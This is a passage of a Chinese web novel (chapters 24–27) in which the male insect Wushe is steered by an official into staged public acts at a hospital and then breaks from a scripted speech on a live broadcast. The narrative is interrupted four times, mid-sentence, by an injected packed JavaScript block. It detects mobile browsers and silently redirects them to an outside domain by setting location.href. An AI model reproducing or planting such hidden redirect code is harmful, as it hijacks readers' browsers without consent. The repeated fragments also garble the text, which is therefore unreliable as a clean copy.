乌舍和他对视:“你打算推行这项制度?” 左伦却说:“对于利都来说,这些还太早。我们来谈谈你要做的。” “你去过中心医院吗?你要做的第一件事,就是到那里去,路过幼儿区,随机给一个孩子一颗糖。” 乌舍似笑非笑地说:“只是一颗糖?我以为你会让我直接去医院做义工。” 左伦叹了口气:“我说了,这还太早。我们现在甚至没有社会服务和义工的概念......但是,这颗糖会是打破他们固化思维的第一步。” 他看着乌舍说:“你是我们的希望,所以不能有一丝差错。” 和乌舍一起来医院的是之前接他去星政府的雌虫警员,叫罗西。他身材非常高大,穿着宽松的便服也掩盖不了身上饱满结实的肌肉,他会陪同乌舍一次进行这项工作,同时起到监视和保护的作用。 这位警员在送他来的路上一直板着张脸,是乌舍遇见的唯二对雄虫不假辞色的雌虫,另外一个就是左伦。 直到到达幼儿治疗区所在楼层,他才递来一颗糖,开口说。 “请用这个。” 乌舍挑眉:“你们连糖都准备好了,难道是担心我对幼崽下毒吗?” 罗西并未否认,只是沉声说:“确实有雄虫这么做过。” 乌舍没有马上说话,几秒后随口笑道:“如果我要报复,不会选这么低级的手段。” 罗西一怔,惊异地看向他,乌舍却没在意他眼中的警觉,从他手里拿过糖果就向前走去。 在幼儿治疗区找随机找一个幼崽送糖实在称不上困难,乌舍踏入这片区域就被雌虫和亚雌幼崽的哭闹声灌了一耳朵。这里没有雄虫幼崽,对于更加脆弱的雄虫幼崽而言,政府会出资建立专门的医院为他们服务。 就幼崽满地跑,家长在后面追的情形而言,这里看起来和地球没什么不同。乌舍被迎面奔来的团子撞到,他略微后退后站稳了,而对方黏在了他的小腿上,显然一下子还没反应过来。 赶来的雌虫急匆匆把孩子从他腿上摘下,边抱孩子边抬头和乌舍道歉:“不好意思,小亚太调皮了......” 看清乌舍时他的话音骤然一顿,反应过来他是雄虫后甚至来不及抱起孩子,下意识直起身体以更恭敬的姿态连连道歉。 这边的动静也引来了走廊上其他雌虫、亚雌的注目,看见乌舍后纷纷露出惊讶的神情,毕竟成年雄虫鲜少出现在这种全性别的公立医院。 他们的视线从乌舍身上转移到对面的雌虫身上,眼神立刻从惊讶变成了同情,显然是觉得冒犯雄虫的后果会很糟糕。雌虫自己心里也是这么觉得的,他的手指不自觉收紧,指骨甚至泛出白色。脑袋低低垂着,在乌舍开口之前不敢抬起来。 原本喧闹的走廊莫名安静下来,家长们纷纷捂住自家孩子的嘴巴把他们抱进了怀里,不许他们再乱跑。 只有乌舍腿边那个,一点没有感受周围气氛的变化。似乎是觉得乌舍身上的气味好闻,没了束缚后干脆抓着乌舍的裤腿一屁股坐在了他的鞋面上,“嘎嘎”傻笑起来。 这下,就连罗西都多看了乌舍两眼,不着痕迹地上前一步。 雌虫看见这一幕瞬间提起心脏,当即就要去抱孩子,然而比他更快——乌舍收回了自己的腿。 幼崽从他鞋面跌到地上,还没来得及哭,先被半蹲下.身的乌舍揉了揉头顶。幼崽的头发稀疏,脑袋温热,睁着大眼睛呆呆地看他。 乌舍笑了下,问:“叫小亚?” 幼崽还没到会说话的年龄,只是发出应和的“呀”声,乌舍便直起身体,把糖交给了旁边胆战心惊的雌虫,淡淡地说。 “下次看好孩子。” 他穿过走廊离开,看起来真的只是路过。罗西跟在他身后,忍不住回头望了一眼,走廊在乌舍的背影还未完全消失时已经爆发出嘈杂的声潮。无数惊讶、迷惑、难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357328|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以置信的视线投向走廊尽头,罗西转过的目光恰好看清一张张流露着相同情绪的脸。 那个好运接到糖果的雌虫,一只手握着糖,一只手牵着自己的孩子,恍惚地站在走廊中央。 罗西收回目光,心情复杂地问乌舍:“您......为什么不直接把糖给那个幼崽?” 难道是想顺便虏获那个雌虫的好感吗?在罗西受到的教育里,雄虫对于雌虫或者亚雌做出的任何主动行为都含着某种能更进一步的暗示,不止是他,所有虫族都是这么认为的。 乌舍却以极其平常的口吻道:“因为他还太小了,自己吃糖会卡嗓子眼吧?我不清楚,就给他家长了。” 罗西愣住,沉默下来。 乌舍意外地停下脚步:“怎么,你们还有必须得交到幼崽手上的要求?” “不。”罗西回神,顿了顿:“您做得很好。” 比计划中的还要好。 这件事同样在网络上引起了轩然大波,#雄虫现身公立医院##幼崽撞到雄虫##雄虫给幼崽糖果#等词条迅速上了各个网站的热搜,随即又有网友认出来,这就是“商贸区平权宣言事件”的主角,乌舍的名字又在利都星网上火了一把。 利都某知名灌水论坛。 -有谁能告诉我这样的雄虫是真实存在的不? 1L即标题,就这样没有任何提示字眼的一句话,却让看见的水友一眼对号入座,帖子一个小时之内刷到了1000+的热度。 2L:最新的医院事件我看了,换成其他雄虫踢那个幼崽一脚都是轻的,他居然还送糖。他真的,我哭死 3L:我深深地嫉妒了,我也想变成幼崽...... 4L:我在想那位是不是就喜欢幼崽啊?上次商贸区那件事,也是因为有幼崽受到了伤害,他才帮忙的吧? 5L:反正这么重视幼崽的雄虫的我第一次见,其他的雄虫对小崽子都烦的要死 6L:就没谁觉得那位长得比上次看到的更好看了吗?虽然偷拍视频角度清奇,但就是这样也很有画面冲击力了...... 7L:啊啊啊对!神颜啊简直!! ... 500L:受不了,一帮捧雄虫臭脚的家伙 501L:如果是雌虫或者亚雌做了这件事,你们还会这么激动吗?这不是正常虫类应该做的吗? 545L:楼里出现了奇怪的东西 550L:上面的是不是革命派啊,说话一股厌雄味儿 551L:我觉得他们说的话倒也正常吧,本来各项政策都大大倾向雄虫了,为什么我们作为不被优待的群体还要去偏爱他们啊? 552L:支持三性平权,支持一视同仁 610L:管理员能不能管管,现在但凡有讨论雄虫的帖子就会有不知道是平权派还是革命派的来喊口号,有本事你们一辈子不要接近雄虫啊,等着精神混乱致死吧! 615:雄虫数量少优待他们不是正常的吗?这是为了种族繁衍啊...... 650L:管到老子头上了,反正我愿意舔雄虫,你们爱死不死 666:像没上过历史课的,神经 999L:先说了啊,我不是平权派也不是革命派,我也喜欢雄虫。但是这个你们不觉得是演的吗?他一个雄虫,无缘无故去医院幼儿区干嘛啊? 25. 第 25 章 赞美、追捧、抵制、猜忌......各色声音在相关词条下爆发,其中赞美和追捧呈现压倒性的多数。 乌舍正在区政府接受左伦亲自指导的,所谓“行为优化”的培训课程。目睹这位执行管在听手下的文员汇报舆论走势时,露出意料之中,又含着些许怅惘的神情。 他唇角的笑意微敛,喃喃道:“真是,任重而道远。” 在乌舍接受培训期间,当局也没有闲着,先是中心医院的官方号认领了网友疯狂传播的医院现场视频,表示了对雄虫行为的赞赏,呼吁大家对幼儿多一份耐心。 又穷图匕见:我院由于患流集中,高峰时期缺乏医疗助手。现向全社会招募义工,雌虫及亚雌义工无工资发放,但任满两周后可获得一次医疗提前名额。雄虫义工我们将会发放高昂的生活补贴,不知道尊敬的阁下们有无意向~ 此邀约一出,瞬间被网友喷成了渣子。 “太搞笑了,中心医院你蹭热度也不是这么蹭的。” “本来还想去你们那儿看看能不能偶遇雄虫,看到今天这声明我笑了。你明明可以直接叫我打白工,居然还特地想了个好听的说法。” “不是,你这提前医疗名额也太少了,就一次。如果不是家里有着急等着做手术的病患,谁会去啊?” “其实就是面向雄虫的招聘启事吧?” “就算要当义工雄虫也不会选择这种全性别的公立医院,他们只会去政府直管的雄虫医院,或者私立医院。” 大嘲特嘲了一阵子,中心医院发布的下一则声明却让舆论风向陡然逆转。 中医医院官方:经过努力,我们已经联系上了在医院给幼崽糖的当事雄虫,阁下收到我们的诚心邀约后,同意了入驻中心医院担任为期两周的医疗助手。他将会在脑科任职,中心医院再次感谢乌舍·狄俄尼索斯·冥阁下的热心帮助! 雄虫居然真的同意了去当“义工”——尽管是有高昂补贴的,但那毕竟是公立医院。来往的雌虫和亚雌的数量远超于私立医院,是雄虫所厌烦的嘈杂、拥挤、不洁净的代名词。 甚至还是脑科!政府对雄虫的精神力乃至精神力的衍生物信息素保护十分严格,雄虫自身也对此讳莫如深,乌舍却愿意去最需要雄虫精神力的脑科,即使他什么也不做,只是在那里安静地坐着、散发信息素,就能给前来就诊的雌虫们带来些微抚慰了。 一时间,报名义工的雌虫数量大大增加,都想去邂逅这位善良的雄虫。亚雌因为不受基因病的影响,倒是没有那么狂热。 毫无疑问,这一系列事情都是左伦的策划,中心医院的两则声明是左伦背后政府的授意。 乌舍要做的就是配合。 到达中心医院当天,医院特地为他准备了欢迎仪式,门口聚集着大量围观群众,还有媒体进行现场直播。 乌舍从下车到步行进医院大门的这一小段距离被无数长枪短炮围着,媒体的提问被守在他身边的罗西挡下,他在大众视线的聚焦点没什么表情地走到了医院正门口,然后偏头,按照左伦的要求,面对镜头露出了一个淡淡的微笑。 周围霎时爆发出尖叫和喊声,喧嚣的音浪淹没他的背影。 中心医院作为利都面积最大、医疗水平最高的全性别公立医院,划分为门诊部、急诊部、住院部三栋建筑。脑科诊疗部独立于这三栋建筑之外,配备了防爆警卫、临时束缚室和直通警署的呼叫系统,以免雌虫患者在诊疗时发生意外,暴起虫化。 乌舍初步了解过,中心医院的脑科除了看一些三性都会有的脑部疾病,比如脑血栓、脑肿瘤、偏头痛,大部分接收的都是雌虫患者。 雌虫在22岁成年后拥有相当长一段时间的巅峰期,基于绝佳的身体素质,这期间,每次透支完体力导致的暂时性脑混乱的症状都很轻微,普遍只是眩晕30秒钟左右。直到他们步入中年,每次大脑眩晕的时间增长,伴随疼痛后遗症。 根据个体素质的不同,雌虫会在中年的不同时间段进入暴徒化,暴徒化后,他们再也不能靠自身走出脑混乱,没有雄虫精神力的治疗,他们最终只会堕落成完全丧失理智的暴徒。 据统计,拥有雄虫伴侣或者依靠某种途径、能够定期得到雄虫精神力治疗的雌虫进入暴徒化的时间会大大推迟,基本在晚年才会显出暴徒化症状,有些甚至终其一生也不会踏入这道深渊。 与之相反,一些无知无畏的年轻雌虫会仗着身体素质好,在巅峰期肆意挥霍自己的精力。无节制滥用身体机能的后果是不到100岁就进入暴徒化阶段,直到死神来到身边,才恐惧地来到医院寻求帮助。 但绝大部分全性别公立医院没有常驻的雄虫医生,拥有医生执照们的雄虫往往会选择在雄虫专科医院给雄虫看诊,或者被以难以拒绝的高薪聘请去私立医院。 ——尽管,仅针对“用精神力治疗雌虫脑混乱”这一项,是所有E级以上的雄虫天生就会的,并不需要有医生执照。但这并不意味着找愿意来医院脑科工作的雄虫简单,比起学过医学的雄虫,普通雄虫更抗拒随意用精神力治疗陌生雌虫。 就和雌性天生带有脑基因病一样,雄虫对向雌虫使用精神力这件事的抵触,仿佛也是刻在基因里的。 相对于亟需救治的大量雌虫患者,中心医院没有任何一位在编在职的雄虫医生,乌舍相当疑惑他们要怎么对雌虫进行治疗。 “我们和专科医院建立了派出机制,每个月他们会派一名雄虫来我们这看诊两天。” 已经步入中年的脑科医生向乌舍介绍:“同时,专科医院会定期给我们提供一些信息素提取剂,以供我们对雌虫患者使用。” 脑科的主任医生叫费洛德,是一名有雄虫伴侣的雌虫,他身体状态良好,医术精湛,乌舍被分配到他这里协助工作。 乌舍站在诊室内,闻言敏锐地问:“信息素提取剂?” 费洛德从抽屉内取出一个圆型金属挂件,模样、大小和蓝牙耳机差不多,他按了一下挂件背部,亮起闪烁的绿色指示灯。 “这个是小型的信息素收集器,雄虫将它戴在身上后,散发的信息素会经网孔吸附、收集储存在机械内部。专科医院配备大型的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357329|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收集器,雄虫进入设备就能进行信息素收集,工作原理类似。” 费洛德示意乌舍戴上,乌舍没有发表异议。见他如此配合,费洛德目露意外,近乎慈爱地安抚:“来试试看,我们需要收集更多的信息素——放心,这种机器不会对身体造成任何伤害。收集过来的信息素经过专门的处理就会变成医疗溶剂,用来治疗。” 乌舍戴上后确实没有感受到任何异常,他对比医院和自己的做法,发现其实大同小异。信息素收集器更温和,转变成溶剂的过程也更复杂,而他省略了收集信息素那一步,简单粗暴地把含有信息素的体.液浓缩,直接加入香薰溶液里。 怪不得左伦那么笃定他不是仿照信息素的气味制作香薰,而是真的加入了信息素。有正规科学的提取方式在前,就算没有那份鉴定报告,他这类似的手段恐怕也能被轻易揭穿。 不过......乌舍暗自思量,隐晦地笑了笑,将嘲讽藏在了眼神里。 费洛德让他试戴了一下小型收集器后就帮他取下:“收集器像个小漩涡,会集中吸纳你身上散发的信息素,患者就无法感受到了。你在医院的时候先取下来,回家再带上吧。” 乌舍心中一动,开玩笑似的问:“那我戴上这个,不就和没有信息素的亚雌一样了吗?” 费洛德温和地说:“这么说的话确实是,不过,像您这般容貌的亚雌也是少有的。” 乌舍笑了笑,说:“谢谢。” 交接过后,乌舍穿上白大褂,戴上医用口罩和手套正式进入工作。他就坐在费洛德左后方的位置上,右手边是一张长桌,上面摆放着医疗工具。背后是拉开的遮挡帘,里面摆着诊疗床。 他负责帮费洛德递东西和发散信息素,工作难度比当一只什么都不干的吉祥物高不到哪儿去。 上午10点整,第一个患者急切地踏进诊室门。 他是个雌虫,看起来已经上了年龄,显然也听说过有雄虫要来当义工的事,进门后视线马上落在了乌舍身上。但停顿了两秒后就稍显失落地收回了目光。 亚伦已经一百一十岁了,他没能拥有一位雄主,这几年他明显感觉自己离进入暴徒化的时间越来越近。为了解决这个问题,他一直向中心医院申请,想要让雄虫医生用精神力治疗自己以往脑混乱留下的陈伤,让大脑恢复活力。 然而和他有一样问题的雌虫不可计数,每个月中心医院只会放出20个预约号,他始终预约不上。只好退而求其次,定期来进行信息素治疗,尽量推迟陷入暴徒化的时间。 得知乌舍来当义工后,亚伦第一时间搜索了他的资料,因为先前几个出名的事件,他的身份信息已经被网友扒得差不多了。虽然知道他是E级雄虫,无法动用精神力,亚伦仍然不可避免地心存侥幸。 万一乌舍有更高的等级呢?他的脑袋就有救了。 可惜...... 亚伦沉默着在费洛德医生面前坐下,一时没从打击中缓过来,然而某种微弱的冰凉气息从他鼻尖一掠而过,充满矛盾的灰烬般的热度点燃喉口,叫他猛地回神! 26. 第 26 章 乌舍有些意外地感受到对面的雌虫忽然变得炽热的目光,他皱了下眉头,但对方并没有收敛。 “好了。”费洛德开口:“请看这里,亚伦。乌舍阁下可无法为你看病。” 亚伦激动地说:“为什么,这位阁下不是来做义工的吗?我想请求阁下为我做精神疏导!需要多少钱?还是需要什么手续?我现在就可以申请!” 费德勒叹了口气:“不是这些问题,阁下无法直接运用精神力。” 亚伦反驳:“可我明明感觉到......” 费洛德打断了他:“阁下目前是E级,他尚未成年,你明白吗?” 亚伦张了张口,看起来还想挣扎,但最终认清了事实。退让道:“那我这次预约的信息素治疗不想用以往的那种了,让这位阁下待在我身边就好。” 费洛德看了一眼乌舍,乌舍微微颔首,他便起身拉开帘子,让亚伦躺在了诊疗床上。 诊室的光线调节成橘黄色的暖光,费洛德打开了小型的加湿器,并叫乌舍捧着它。湿润的气流加速了气味分子的传播和流动,安静的氛围里属于乌舍信息素的气息逐渐扩散,一点点笼罩了帘子后的空间。 亚伦双手交握躺在床上,望着乌舍的方向,不自控地想要直起上身。费洛德一只手把他摁了回去,随即将他的四肢都扣在了诊疗床上。 “安静。”费洛德开口,从口袋里拿出一支怀表:“看着这里,亚伦。” 怀表里面没有时针和分针,而是镶嵌着五颜六色的矿石,这些矿石以某种规律排列组合,形成一种奇异的纹路,在暖黄的光线下折射出斑斓的色泽。 “我知道你很累,亚伦。” “但你还很年轻,记得吗?你从22岁起就在经历这个,只是短暂的脑混乱,疼几分钟就过去了,对你构不成威胁。” “你无需担心,也无需恐惧,即使你真的觉得自己撑不下去......你还有一位雄主。” 亚伦的眼睛在费洛德低缓的嗓音下已经慢慢合上了,费洛德收起怀表,朝乌舍做了个“过来”的手势。 乌舍迈步走到诊疗床边,加湿器挥发的水雾拂上闭着双眼的雌虫面孔。他的鼻尖无意识耸动,似乎捕捉到了什么气息,脸上竟微微显出笑容。 费洛德将椅子拉近,让乌舍坐下,细微的动静没有惊醒已经陷入沉眠的亚伦。乌舍在旁边坐了五分钟,五分钟后,费洛德叫醒了亚伦,告诉他本次治疗已经结束。 说实话,乌舍认为自己什么也没做,但亚伦睁眼后面露惊喜,周身笼罩的疲倦肉眼可见的消散了很多。 他感谢了费洛德医生,激动地朝乌舍鞠了一躬。 “阁下,这是我体验过的最好的一次信息素治疗。您还会在这里多久?我还想挂您的号!” 费洛德挥手赶他出去:“信息素治疗一个月只能申请一次,今天过后你会有很长的一段缓和期,快走吧!” 亚伦心不甘情不愿地离开了,他走后,费洛德关切了慰问了乌舍是否有什么不适,得到否定答案后,这位雌虫医生忽然长叹一声。 “您真是我见过的最特别的雄虫。” 这句话乌舍听过很多次了,他笑着说:“毕竟我是第一个来做义工的。” 费洛德却郑重地说:“不,不是这个,您是我见过的最具有潜力的雄虫。” 乌舍讶异挑眉,费洛德打开一个冷冻箱,从里面取出了一支溶剂。除了颜色是浅紫色,长得竟然和乌舍他们自制的香薰溶液差不多。 “这是专科医院为我们提供的信息素药剂,这支信息素来自一个C-I级雄虫——基本上,这也是我们能拿到的最高等级的信息素了。” “对于已经十分接近暴徒化的雌虫,我们会给他们用这种药剂。方法和您刚刚做的差不多,只要往加湿器里滴入药剂,信息素就会随着水雾挥发出来。配合催眠,让雌虫陷入自己正在接受雄主的精神力抚慰的幻觉。” “这种幻觉可以短暂地欺骗大脑,C-I级的药剂最多可以维持一个月的时间......而您的信息素带来的效果显然更加强烈,刚刚亚伦正是感受到了不同,才会要求用您的信息素进行治疗。” 乌舍客观地说:“我是E级雄虫。” 费洛德有极大信心:“您成年后绝对不仅限于E级!” 乌舍想到自己的血对于索玛日益明显的治疗作用,不置可否。 接下来的一天大同小异,基本都是来做信息素治疗的雌虫。乌舍在医院待到下午4点,准备收工。 离开前,他问费洛德:“我想多拿一个信息素收集器回去,给我的雄虫朋友。这样等义工时间结束,我们的信息素还能为患者发挥作用,可以吗?” 费洛德简直热泪盈眶,直接让他拿着两个小型收集器回去了。 罗西在医院门口等着,现在乌舍去哪儿都是由他进行接送。 乌舍一上车,敏锐地感受到对方停留在自己身上的目光较平时长了两秒,他心中略一思索,向前靠近驾驶位,抬手贴向雌虫的鼻尖。 “还能闻到吗?” 罗西幅度很大地往旁边偏了偏头,脑袋甚至差一点撞上车窗,他整理好略显慌乱的姿态,才沉着脸提醒。 “阁下,请您注意距离。” “难道亚雌这么做,你也会提醒他们注意距离吗?” 罗西短暂地沉默了一下:“但您是雄虫。” 乌舍说:“如果你不把我当成性.幻想对象,那我就和亚雌没什么不同。” 罗西:“……” 乌舍没再为难他,向后靠回了椅背。转而再度确认:“能闻到气味吗?” 罗西还陷在刚才的对话里,过了片刻才低声道:“不……我什么也没闻到。” 乌舍便愉快起来,在回程的路上,甚至哼了几句歌。歌曲的旋律闻所未闻,罗西没有听过,但也没有开口发问。 回到LE,乌舍没有立刻回家,而是去了何家兄弟那儿。 因为这阵子处于利都政府的监管之下,他和邻居们的交流少了很多,现在大部分时候何家兄弟还要上网从新闻热点里获知他的动态,放逐区每个月固定的香薰拍卖也暂停了。 政府监视着整片住宅区,但怕过度的管控会引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357330|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起雄虫的逆反心理,目前还没有在他家里装监控,何家兄弟的房子自然更没有,至少进了房门,他们还能放松说话。 何慈林抱着玩偶坐在沙发上,得益于几个月来的高昂收入,他在何冬塞的精心照顾下气色好了许多。虽然身形较同龄的雄虫还相对孱弱,但脸颊上有了丰盈的肉影,金发也灿烂了不少。 “大明星,你还记得我们啊?”他意味不明地说:“我以为你在大家的追捧下乐不思蜀了呢。” 乌舍原本在跟何冬塞寒暄,闻言停下了。他转头,漆黑的眼睛直直盯着何慈林,很长时间没有说话。 何慈林在他的注视下逐渐收敛了表情,脊背也挺直了,整个客厅变得安静。 乌舍这才开口:“我说过吧,我讨厌活在外界的监视下。” 何慈林抿住了嘴唇。 乌舍说:“如果你想要过这样的生活,可以代替我。” 何慈林张了张口,最后小声地说:“对不起。” 何冬塞看见弟弟的眼眶红了,心中发紧,事实上,这是他第一次听见何慈林道歉。以往对方和他闹脾气、任性,做得太过火的时候也只是在心虚下收敛两天,他从来没有对弟弟冷过脸。 他刚想打圆场,就见乌舍在沙发上坐下后,何慈林放下玩偶挪过去,小心翼翼地抱住了他的胳膊,把脑袋贴在了他的颈窝里。 何冬塞望着这两只雄虫,忽然有了一种奇异的感受。他和何慈林血脉相连,但乌舍和何慈林之间也有某种不同于血缘的紧密链接,那仿佛是刻在基因里的,叫何慈林天然地亲近乌舍。 乌舍没有推开他,看向何冬塞,问:“你们考虑得怎么样了?” 何冬塞定了定神:“如果我们留下来,能够安心生活吗?” 何慈林抬起了头。 何冬塞没有看弟弟的表情,等着乌舍的回答。 乌舍只说:“我会营造有利于你们的局面,政府会有自己的烂摊子要收拾,如果他们真的打算追究,等我走后你们可以把责任推到我身上,说是我胁迫的。” 何冬塞问:“走了之后呢,你对未来有打算吗?” 乌舍平静地说:“未来是需要自己走出来的,我不能给你一个计划,然后以此跟你担保会有美好的明天。” 何冬塞垂下眼睛,何慈林看了看他,又看了看乌舍,几乎都要说话了,但最后沉默下来。 半晌,何冬塞哑声说:“我们跟你走,就像你说的,就算不会被定罪,我们留下来也只会活在政府的监管之下。” 乌舍说:“我不能保证你们离开后能过得更好。” 何冬塞说:“总不会比留下来差。” 乌舍笑了笑,眼神仿佛能洞察一切。 “后悔了吗?” 何冬塞一顿,没有立刻回答,反倒是何慈林先开口。雄虫白皙的皮肤在傍晚的光线下呈现出脆弱的透明感,金发贴着脸颊,宛若地平线上流动的暮阳。声音却清晰又果决,像一块薄冰。 “你不应该问他,从头到尾这件事是我决定的。暴利总是伴随风险,我决定了要冒险,就不会为结果后悔。” 27. 第 27 章 乌舍在医院待足了半个月,这段时间有关他的舆论持续发酵,他“温和耐心”“勤奋认真”在脑科做义工的相关词条频繁出现在星网热搜。 在获得了大量雌虫、亚雌赞美追捧的同时,也引发了利都雄虫内部的厌恶与排挤。 网友们第一次在网络上见到那么多货真价实的雄虫,有些戴着身份认证的蓝标,有些能从主页窥见雄虫身份,他们口出恶言,唾骂乌舍是叛徒、摇尾乞怜的狗。 “说真的,我是真的好奇,他整天对着一群YY自己、时时刻刻想要从自己身上获取精神力的雌虫,真的不会觉得恶心吗?” “疯子,为了出名什么都愿意做。” “只是为了抬高知名度然后和更有钱的雌虫结婚吧,真可悲。” “如果不是这个该死的制度我根本不会结婚的。” “幸好只是E级,如果他是C级或者更往上,能直接动用精神力的话,我都不敢想象他能做出什么事。说不定会直接出卖自己的身体吧?” 雄虫们的用词尚算收敛,没有骂出脏话,但其中蕴含的恶意是明晃晃的。乌舍本人没有对此表态——他实际也没有一个公开的对外账号——他的拥护者尝试对雄虫们进行辩驳,但碍于对方身份不好说得太过,这种辩驳反倒加深了雄虫们的恶意。 在舆论争议白热化之时,利都政府恰到好处地公布了针对乌舍的福利调整政策,他的福利待遇将从E级升至C级,包括分配的房产、每月的生活津贴及相关法律保护制度等。 政府声明中称这是“对愿意牺牲小我,勇于承担社会责任的雄虫的合理表彰”。 这项公开声明一出,雌虫和亚雌没什么反应,雄虫的反对态度却更上一个台阶。有的雄虫甚至自发集合,向法院提起对当局的集体诉讼。在社会大众还没有明白过来为何雄虫们的姿态如此强硬和激烈时,以中心医院为首的利都第二、第三公立医院联合发布了《关于招募义工的通告》,这一次除了乌舍,还有其他三名E级雄虫自愿报名。 名单公开后,在整个利都引起轩然大波。 许多雌虫和亚雌后知后觉反应过来,一旦有了第一个带头并得到切实好处的E级雄虫,不管雄虫内部有多抱团,总会有个别逐利的E级闻风而动。有了第二个就会有第三个,当完成群体横向扩散,接下来心生动摇的将会是福利和E级雄虫持平的C级雄虫,而后逐级上升。 照着这个趋势,雄虫的社会参与度将越来越高,也许未来某一天,见雄虫一面对于他们来说再也不是遥不可及的幻梦了。 在社会大众们隐隐感受到这种蕴含无限可能的变化时,左伦正在牵头把这种变化落实——就像他曾经对乌舍说过的,他们在参照赫拉德的社会积分制,拟定全新的雄虫福利制度。 乌舍作为“探路石”,不在商讨这项关乎利都社会稳定的制度的参会名单内,编纂和决定权由星政府一批最高领导者全权掌握,他被分配了新的任务。 去利都的医疗科学院进行预热演讲,这次演讲将以直播的形式同步推送给广大民众。 医科院是利都师资力量最雄厚的医学院,称得上是精英荟萃,学院中以雌虫和亚雌学生为主,也有少部分雄虫在这里就读。左伦和校方达成合作,让乌舍来这里举办讲座,内容主题是医学生们未来的就业选择。 虽然演讲主题是就业相关,但左伦给他的演讲稿内含大量的三性关系、尤其是雄虫和雌虫关系的暗示。 作为主讲者,这份稿子却没有一个字是出于乌舍之手,左伦三天前将总稿交给他,甚至没有硬性要求他背诵,只是要他能读下来就好。 虫族社会的矛盾之处就在于,雄虫虽然享尽特权,但他们的权利总是与雌虫和亚雌对他们的幻想捆绑在一起。这种幻想是关于生理、关于性的,带有浓烈的情.色特征,而他们作为独立个体所具有的真正价值——例如他们的品质、学识、能力,则不被抱有任何期待。 乌舍拿着演讲稿站上讲台。 为了举办这次讲座,校方特地空出了学校里最大的阶梯教室。教室庞大圆顶做成了星空图案,在投影的作用下缓慢地流转着,好似一片运行中的宇宙。 他身后是他在中心医院做义工的照片,来源于摆拍;头顶是“热烈欢迎乌舍阁下莅临我校进行就业演讲”的大型横幅,以及明亮的白炽灯;面前是一张张陌生、还带着青涩的脸,虫群中黑色的摄像头对着他,黑洞洞如同枪口。 枪口一端是他,另一端是左伦的眼睛。 学生们,以及更多的社会民众是查阅最终拍摄成果的观众。 “......这是一段难忘的时光,让我明白无论是雄虫、雌虫还是亚雌,在医院都只有一个身份,那就是病患。在这里大家是平等的。” 乌舍面朝摄像头照本宣科,念完最后一句台词,脱不开身在会议室远程监控这次演讲的左伦露出满意的表情,现场掌声雷动。 在长时间的掌声里,乌舍忽然将手中的演讲稿一扔,白底黑字的纸张在半空飘飞,反射着顶光,像锋利的雪片。 “在座的各位,以上是当局想对你们说的话,不是我的。” 闻言,还在用力鼓掌的学生们迷茫地停下动作,热烈的掌声变得迟缓。校方以为这是什么即兴演讲,没有第一时间时间反应过来,唯有观看直播的左伦面色骤变,立刻直起身体,按着耳机快速嘱咐了什么。 “我想我说出这句后直播就要中断,但我还是要告诉你们。” 送乌舍来医学院,此刻得到命令要去中断直播的罗西僵住了脚步,扭头看向台上的乌舍。操控着摄像头的亚雌茫然地停在原地,无措地左右看了看。 乌舍原本对外公开的活动,以视频形式放送的都是录播,或者精心挑选好角度的所谓“偷拍”。这次讲座本该也采取录播的形式,但乌舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357331|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前期实在表现得很配合,效果也很好。现在他热度正高,新的社会积分制度公布在即,左伦便冒险了一把,选择了现场直播。 他没想到除了自己,乌舍也在等这个机会。 当下官方直播间热度已经飙升到了50万,应了乌舍的话贸然切断直播会引发无穷的猜忌,左伦一时没有发出更果断的指令。 就在他们犹豫的几秒钟里,乌舍开门见山道。 “我现在处于政府的监管之下,因此我想和同学们,以及镜头之后的你们求助。” 学生骚动起来,现场哗然。 左伦听到这里,当机立断下了中断直播的指令。扛着直播摄像机的亚雌快速离场,而罗西则朝着台上飞奔而来。 与此同时,乌舍从兜里摸出了一小瓶5ml装的香薰溶液,发力朝台下掷去。瞧见他动作的师生惊慌一瞬,但扔下来的东西并非什么有害液体,玻璃瓶砸碎在跑到演讲台前的罗西脚边。 冷火的气息顷刻铺开,不讲道理地席卷感官,预备发力跳上台面的罗西再次止住了动作。 